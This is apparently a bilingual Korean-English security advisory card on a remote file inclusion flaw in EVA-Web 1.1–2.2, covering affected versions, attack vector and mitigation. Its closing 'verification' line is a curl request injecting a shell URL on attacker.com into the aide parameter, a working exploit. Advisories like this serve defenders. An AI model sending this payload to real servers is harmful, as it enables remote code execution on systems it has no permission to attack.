🇰🇷 한글 설명
EVA-Web 1.1~2.2 버전의 index.php3에서 발견된 원격 파일 포함(RFI) 취약점입니다. aide 또는 perso 매개변수를 통해 공격자가 악의적인 URL을 삽입하여 임의의 PHP 코드를 원격으로 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 특정 입력값을 통해 다른 웹사이트의 파일을 불러오도록 속일 수 있는 보안 결함입니다. 이를 이용하면 해커가 서버에서 자유롭게 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in index.php3 in EVA-Web 1.1 through 2.2 allow remote attackers to execute arbitrary PHP code via a URL in the (1) aide or (2) perso parameter.
📍 영향받는 시스템
EVA-Web 1.1, 1.2, 2.0, 2.1, 2.2
⚔️ 공격 벡터
HTTP GET/POST 요청의 aide 또는 perso 매개변수에 악성 PHP 파일 URL을 삽입하여 원격 코드 실행
🛡️ 대응 방법
EVA-Web을 최신 버전으로 업그레이드하거나 패치를 적용하고, 모든 사용자 입력에 대한 유효성 검사 및 필터링 구현
🔧 검증 코드
성공적인 공격의 경우 원격 파일의 내용이 응답에 포함되거나 PHP 코드가 실행됩니다. 패치된 서버는 에러나 접근 거부를 반환해야 합니다.
curl -s 'http://target/index.php3?aide=http://attacker.com/shell.php' | head -20